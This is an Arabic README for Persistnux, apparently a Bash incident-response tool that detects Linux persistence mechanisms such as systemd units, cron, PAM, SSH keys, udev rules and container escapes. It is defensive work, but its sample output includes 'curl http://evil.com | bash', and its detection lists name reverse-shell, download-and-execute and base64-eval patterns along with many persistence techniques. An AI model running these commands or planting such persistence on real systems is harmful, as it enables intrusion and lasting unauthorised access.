
Persistnux — Updated!
أداة كشف الثبات في لينكس مبنية على Bash للتحقيقات الرقمية الجنائية (DFIR). تفحص أكثر من 15 آلية ثبات (systemd، cron، وحدات kernel، SSH، حاويات) مع تسجيل الثقة وتوليد تقارير بصيغ CSV/JSONL للتحليل الجنائي.
Persistnux
أداة شاملة لاكتشاف آليات الثبات في لينكس لأغراض التحقيق الرقمي والاستجابة للحوادث (DFIR).
نظرة عامة
Persistnux هي أداة مبنية على bash مصممة لتحديد آليات الثبات المعروفة في لينكس التي يستخدمها المهاجمون للحفاظ على الوصول إلى الأنظمة المخترقة. تقوم بإجراء فحوصات شاملة عبر النظام وتوليد تقارير مفصلة بصيغتي CSV و JSONL لمزيد من التحليل.
المميزات
- كشف شامل: يغطي جميع آليات الثبات الرئيسية في لينكس
- تحليل مباشر: يعمل مباشرة على الأنظمة الحية بأقل الاعتماديات
- مخرجات مفصلة: يولد تقارير CSV و JSONL تحتوي على تجزئات الملفات، البيانات الوصفية، ودرجات الثقة
- صلاحيات الجذر وبدونها: يعمل بصلاحيات الجذر أو بدونها (مع نطاق محدود لغير الجذر)
- جاهز للـ DFIR: صيغ الإخراج متوافقة مع أدوات وسير عمل DFIR الشائعة
- تسجيل الشكوك: تسجيل تلقائي لدرجات الثقة (منخفض، متوسط، عالي، حرج) بناءً على المؤشرات
- تقليل الإيجابيات الخاطئة: دمج مع مدير الحزم وقائمة بيضاء للخدمات المعروفة بأنها سليمة
- تحليل زمني: الملفات المعدلة مؤخرًا تحصل على درجات ثقة أعلى
- مطابقة الأنماط: يكشف عن الصدف العكسي، أنماط التحميل والتنفيذ، تقنيات التعتيم
آليات الثبات التي يتم اكتشافها
1. خدمات Systemd
- ملفات الخدمة (
.service) في/etc/systemd/system،/lib/systemd/system،/usr/lib/systemd/system - خدمات systemd على مستوى المستخدم
- يستبعد الخدمات المعطلة والخدمات التي لا تحتوي على ExecStart
- يكتشف أوامر ExecStart المشبوهة
- يتحقق من سلامة الحزمة للبرامج/النصوص المنفذة
2. وظائف Cron والمهام المجدولة
- جداول cron النظامية (
/etc/crontab،/etc/cron.d/*) - أدوار التنفيذ الدورية (
/etc/cron.{daily,hourly,weekly,monthly}) - جداول cron للمستخدمين لجميع المستخدمين (وضع الجذر)
- وظائف at
- أنماط أوامر مشبوهة في المهام المجدولة
- ملفات
/etc/cron.allowو/etc/cron.deny(ACL) — الإدخالات التي تشير إلى مستخدمين غير موجودين يتم وضع علامة عليها
3. ملفات تعريف الصدفة وملفات RC
- ملفات تعريف النظام (
/etc/profile،/etc/bash.bashrc،/etc/zshrc) - نصوص Profile.d (
/etc/profile.d/*) - ملفات تعريف المستخدم (
.bashrc،.bash_profile،.zshrc،.profile، إلخ) - تكوينات Fish shell
- يكتشف الأوامر الضارة في ملفات التعريف
4. نصوص التهيئة و RC.local
/etc/rc.localوالمتغيرات- نصوص تهيئة SysV (
/etc/init.d) - نصوص مستويات التشغيل (
/etc/rc*.d) - يكتشف أوامر التحميل/التنفيذ المشبوهة
5. وحدات النواة وتحميل المكتبات المسبق
- إعدادات LD_PRELOAD (
/etc/ld.so.preload) — يتم التحقق من كل مكتبة مدرجة عبر مدير الحزم - تكوينات الرابط الديناميكي (
/etc/ld.so.conf،/etc/ld.so.conf.d/) — سلامة ملفات الإعداد + فحص ملفات.soفي المسارات غير القياسية والتحقق منها /etc/environment(LD_PRELOAD/LD_LIBRARY_PATH) — يتم وضع علامة عالية على ملف البيئة؛ يتم التحقق من مسارات المكتبات المشار إليها (غير مُدارة/معدلة → حرج)- معلمات وحدات النواة (
/etc/modprobe.d/،/etc/modprobe.conf) — سلامة الملف؛ تحليل توجيهاتinstallلأهداف الأوامر المشبوهة؛ وضع علامة عالية علىblacklistلوحدات الأمان (apparmor، selinux، seccomp) - إعدادات التحميل التلقائي لوحدات النواة (
/etc/modules،/etc/modules-load.d/) — سلامة الإعداد؛ حل أسماء الوحدات المشار إليها إلى ملفات.koعبرmodinfoوالتحقق منها - وحدات النواة المحملة (
lsmod) — تعداد والتحقق من السلامة
6. آليات إضافية
- إدخالات التشغيل التلقائي XDG (
.config/autostart،/etc/xdg/autostart) — مسح جميع منازل المستخدمين عند وجود صلاحيات الجذر - ملفات بيئة النظام (
/etc/environment) — التحقق من مسارات مكتبات LD_PRELOAD/LD_LIBRARY_PATH - تكوينات Sudoers والإضافات (
/etc/sudoers،/etc/sudoers.d/) — أنماط NOPASSWD/ALL → عالية - PAM (وحدات المصادقة القابلة للتوصيل):
- التحقق من جميع وحدات
.soعبر مدير الحزم؛ متابعة توجيهات@include؛ تضمين/etc/pam.conf - تحليل نصوص
pam_exec.so— النصوص المفقودة/المشبوهة → حرج - كشف مرحل
pam_python.so/pam_perl.so— استخراج النص وتحليله - كشف ملفات خطاف
pam_script.soفي/etc/security/ - سلامة ملفات الإعداد — تكوينات PAM المملوكة للحزمة والمعدلة → حرج
- التحقق من مكتبات LD_PRELOAD في
pam_env.confو~/.pam_environment - مسح عام لـ
/etc/security/
- التحقق من جميع وحدات
- نصوص MOTD (
/etc/update-motd.d/) — التحقق من الحزمة؛ المعدل → حرج - مساعدات بيانات الاعتماد في Git وإعدادات core.pager — تحليل المحتوى لجميع المستخدمين
- الصدفات الويب في أدلة الويب الشائعة
8. ثبات SSH
- ملفات
~/.ssh/authorized_keysلكل مستخدم — يتم وضع علامة على المفاتيح المعدلة مؤخرًا؛ تحليل محتوى خيارcommand=للأنماط المشبوهة ~/.ssh/rcلكل مستخدم — يتم وضع علامة متوسط عند وجود المحتوى؛ محتوى صدف عكسي/مشبوه → عالي/حرج
9. اختطاف البرامج الثنائية
- التحقق من البرامج الثنائية المثبتة للنظام مقابل قاعدة بيانات الحزمة (
dpkg -Vعلى Debian/Ubuntu،rpm -Vaعلى RHEL/CentOS) - الملفات المعدلة في
/usr/bin،/usr/sbin،/bin،/sbin→ نتيجة حرجة - وحدات PAM المعدلة في
/lib/security→ نتيجة حرجة - يتم استبعاد ملفات الإعداد (ملفات تكوين dpkg) لتجنب الإيجابيات الخاطئة
10. محمل الإقلاع و Initramfs
- حقن معامل
init=في نواة GRUB (/etc/default/grub،/etc/default/grub.d/*.cfg) - نصوص تهيئة تم إسقاطها على مستوى الجذر في
/ - وحدات Dracut initramfs مع خطافات
pre-pivotالتي تكتب إلى/sysroot/etc/shadow - نصوص خطاف Ubuntu initramfs-tools في
/etc/initramfs-tools/scripts/و/hooks/ - صور
/boot/initrd.img-*المعدلة مؤخرًا (بناءً على mtime)
11. التلاعب بـ Polkit (PolicyKit)
- ملفات
.pklaمعResultAny/ResultInactive/ResultActive=yesغير مشروطة - منح معرفات عامة (
unix-user:*) - ملفات
.rulesمعpolkit.Result.YESغير مشروطة (Polkit قائم على JavaScript >= 0.106)
12. D-Bus و NetworkManager
- تسجيل خدمة نظام D-Bus ضارة
Exec=(/usr/share/dbus-1/system-services/) - سياسات D-Bus ذات النمط العام
allow own="*"أوsend_destination="*" - نصوص مرسل NetworkManager (
/etc/NetworkManager/dispatcher.d/)
13. قواعد Udev
- توجيهات
RUN+=في Udev تنفذ أوامر أو نصوص عشوائية (/etc/udev/rules.d/،/lib/udev/rules.d/) - قواعد تم حقنها في وقت التشغيل في
/run/udev/rules.d/ - أنماط تفويض
at/cronفيRUN+=(تجاوز شائع لتقييد المقدمة)
14. الهروب من الحاوية
- حاويات Docker ذات الامتيازات (
--privileged،--pid=host) - ربط
docker.sockداخل الحاويات (تحكم كامل بالمضيف عبر Docker API) nsenter -t 1في نقاط دخول الحاوية أو Dockerfiles- Dockerfiles في أدلة قابلة للكتابة من قبل المستخدم تحتوي على تقنيات هروب
15. فحوصات متقدمة للبرامج الثنائية والامتيازات
- مسح نشط لنظام الملفات للـ SUID/SGID عبر أدلة النظام
- مسح قدرات الملفات عبر
getcap—cap_setuid+epعلى GTFOBins → حرج - اختطاف البرامج الثنائية: إعادة تسمية النسخ الأصلية (
.original،.old،.bak،.real) مع نصوص تغليف - حسابات غير جذرية مع UID 0 في
/etc/passwd - إخفاء الصدفة عبر مسافة زائدة في حقل الصدفة في
/etc/passwd - حسابات النظام (UID 1-999) مع ملفات
authorized_keysفي SSH
التثبيت
# استنساخ المستودع
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# جعل البرنامج النصي قابلاً للتنفيذ
chmod +x persistnux.sh
الاستخدام
الاستخدام الأساسي (تحليل مباشر)
# التشغيل بالإعدادات الافتراضية (يظهر فقط النتائج المشبوهة)
sudo ./persistnux.sh
# عرض المساعدة وجميع الخيارات
./persistnux.sh --help
# التشغيل كمستخدم عادي (نطاق محدود)
./persistnux.sh
خيارات التصفية (v2.4+)
بشكل افتراضي، يظهر Persistnux فقط النتائج المشبوهة (متوسط، عالي، حرج) لتقليل الضوضاء والتركيز على التهديدات القابلة للتنفيذ.
# الافتراضي: إظهار النتائج المشبوهة فقط
sudo ./persistnux.sh
# إظهار جميع النتائج بما في ذلك خط الأساس (ثقة منخفضة)
sudo ./persistnux.sh --all
# أو
sudo FILTER_MODE=all ./persistnux.sh
# إظهار النتائج ذات الثقة العالية والحرجة فقط
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# دمج المرشحات: ثقة عالية فقط
sudo ./persistnux.sh --min-confidence HIGH
دليل إخراج مخصص
# تحديد دليل إخراج مخصص
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# الدمج مع التصفية
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
ملفات الإخراج
بشكل افتراضي، يقوم Persistnux بإنشاء دليل إخراج ./persistnux_output/ يحتوي على:
persistnux_<hostname>_<timestamp>.csv- تقرير بصيغة CSVpersistnux_<hostname>_<timestamp>.jsonl- تقرير بصيغة JSONL (كائن JSON واحد لكل سطر)persistnux_<hostname>_<timestamp>_report.txt- تقرير ملخص قابل للقراءة البشرية مع أعداد النتائج وبيانات الفحص الوصفية
صيغة الإخراج
صيغة CSV
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
صيغة JSONL
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
حقول الإخراج الرئيسية
- matched_pattern: نمط الكشف الذي أثار النتيجة (مثل
suspicious_script_content،modified_package،unmanaged_binary) - matched_string: المحتوى المشبوه الفعلي الذي تم العثور عليه (السطر الكامل، وليس فقط الكلمة المفتاحية)
تسجيل الثقة
يستخدم Persistnux تسجيل ثقة ذكي لتقليل الإيجابيات الخاطئة:
- منخفض: تكوين نظام قياسي، شكوك منخفضة (غالبًا ملفات مُدارة بواسطة الحزمة)
- متوسط: قد يكون مشبوهًا ولكن يمكن أن يكون شرعيًا
- عالي: تم اكتشاف أنماط مشبوهة (مثل curl/wget في cron، تنفيذ في /tmp، صدف عكسي)
- حرج: دليل قاطع على العبث — فشل التحقق من سلامة الحزمة، SUID/SGID على ملف مشبوه، شذوذ في وحدة PAM، مولد systemd في موقع مؤقت، أو كود مفسر مضمن بحمولة عالية الإنتروبيا
تقليل الإيجابيات الخاطئة (v1.2+)
يتضمن Persistnux الآن عدة ميزات لتقليل الإيجابيات الخاطئة:
- التكامل مع مدير الحزم: الملفات المُدارة بواسطة
dpkg(Debian/Ubuntu) أوrpm(RedHat/CentOS) تحصل على درجات ثقة أقل - القائمة البيضاء للخدمات المعروفة بأنها سليمة: يتم تخطي خدمات البائعين الشائعة (systemd-، dbus-، snap.*، إلخ) تلقائيًا
- التسجيل الزمني: الملفات المعدلة مؤخرًا (أقل من 7 أيام) تحصل على درجات ثقة أعلى
- التحليل السياقي: يجمع بين مؤشرات متعددة للكشف الأكثر دقة
المؤشرات المشبوهة
يقوم Persistnux تلقائيًا بوضع علامة على العناصر بثقة أعلى عندما يكتشف:
أنماط شبكية
- الصدف العكسي:
bash -i >& /dev/tcp/،sh -i >& /dev/udp/ - أدوات الشبكة:
nc،netcat،socat،telnet - عمليات المقبس في لغات البرمجة النصية:
python -c 'import socket'
أنماط التحميل والتنفيذ
- أدوات التحميل:
curl | bash،wget | sh - التحميل مع التنفيذ:
curl URL -o /tmp/file && chmod +x
تقنيات التعتيم
- الترميز:
base64 -d | bash،eval $(echo BASE64) - التنفيذ الديناميكي:
eval،exec
المواقع المشبوهة
- الأدلة المؤقتة:
/tmp،/dev/shm،/var/tmp - الأدلة والملفات المخفية
التلاعب بالأذونات
- جعل الملفات قابلة للتنفيذ:
chmod +x،chmod 777 - التلاعب ببت SUID:
chmod u+s
المتطلبات
- Bash 4.0+
- أدوات يونكس القياسية:
find،grep،stat،sha256sum،awk،file - اختياري:
systemctl،lsmod،modinfo،getcap،dpkg/rpm(لفحوصات محددة) - لا اعتمادية على مترجم (باش نقي + coreutils؛ لا حاجة إلى
python/jq) - يوصى بصلاحيات الجذر/ sudo للتحليل الشامل
تم الاختبار على / التوافق
| التوزيعة | الحالة | ملاحظات |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ تم الاختبار | منصة التطوير والاختبار الرئيسية |
| Ubuntu 20.04 LTS | ✅ تم الاختبار | مدعوم بالكامل |
| Debian 11/12 | ✅ تم الاختبار | قائم على dpkg، نفس اتفاقيات المسار |
| Kali Linux (rolling) | ✅ تم الاختبار | استخدم لاختبار مرجع PANIX (انظر أدناه) |
| RedHat / RHEL | ⚠️ لم يتم الاختبار بعد | دعم rpm منفذ لكن غير مؤكد على الأنظمة الحية |
| Fedora | ⚠️ لم يتم الاختبار بعد | دعم rpm منفذ لكن غير مؤكد على الأنظمة الحية |
| CentOS / AlmaLinux / Rocky | ⚠️ لم يتم الاختبار بعد | دعم rpm منفذ لكن غير مؤكد على الأنظمة الحية |
ملاحظة: تم اختبار الأداة بشكل أساسي على أنظمة Ubuntu/Debian. توزيعات RedHat و Fedora والقائمة على RPM لديها دعم مدير الحزم منفذ في الكود ولكن لم يتم التحقق منه في بيئات الاختبار المباشرة. المساهمات وتقارير الاختبار للتوزيعات القائمة على RPM مرحب بها.
الاختبار / المعيار
يتم قياس Persistnux مقابل PANIX،
الذي يقوم بتثبيت نفس آليات الثبات التي يصطادها Persistnux. يقوم
جهاز الاختبار القابل للتكرار في tests/panix_benchmark.sh بتطبيق كل
تقنية PANIX، وتشغيل Persistnux، وتأكيد الكشف عبر فرق خط الأساس.
يتم اكتشاف كل تقنية PANIX قائمة على الملفات والتي تنطبق على صندوق الاختبار بمستوى ثقة
MEDIUM+. انظر PANIX_BENCHMARK.md للحصول على
جدول التغطية الكامل والمنهجية.
⚠️ يقوم المعيار بتثبيت أبواب خلفية حقيقية — قم بتشغيله فقط في آلة افتراضية قابلة للتخلص.
خارطة الطريق
- وضع التحليل دون اتصال لصور القرص الجنائية
- دمج جمع UAC (جامع القطع الأثرية الشبيهة بيونكس)
- توسيع معيار PANIX ليشمل متجهات محمل الإقلاع/initramfs/LKM على آلة افتراضية كاملة
الموارد
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
المساهمة
المساهمات مرحب بها! لا تتردد في تقديم طلبات السحب أو فتح المشكلات من أجل:
- كشف آليات ثبات جديدة
- إصلاح الأخطاء
- تحسين التوثيق
- تحسينات الأداء
- صيغ إخراج إضافية
الترخيص
رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل
الشكر والتقدير
تم تطويره لمجتمع DFIR للمساعدة في الاستجابة للحوادث والتحقيقات الجنائية في لينكس.
إخلاء المسؤولية
هذه الأداة مخصصة فقط لاختبار الأمان المصرح به، الاستجابة للحوادث، والتحليل الجنائي. يتحمل المستخدمون مسؤولية ضمان حصولهم على التفويض المناسب قبل تشغيل هذه الأداة على أي نظام.
الاتصال
للأسئلة أو المشكلات أو المساهمات، يرجى استخدام متتبع المشكلات على GitHub.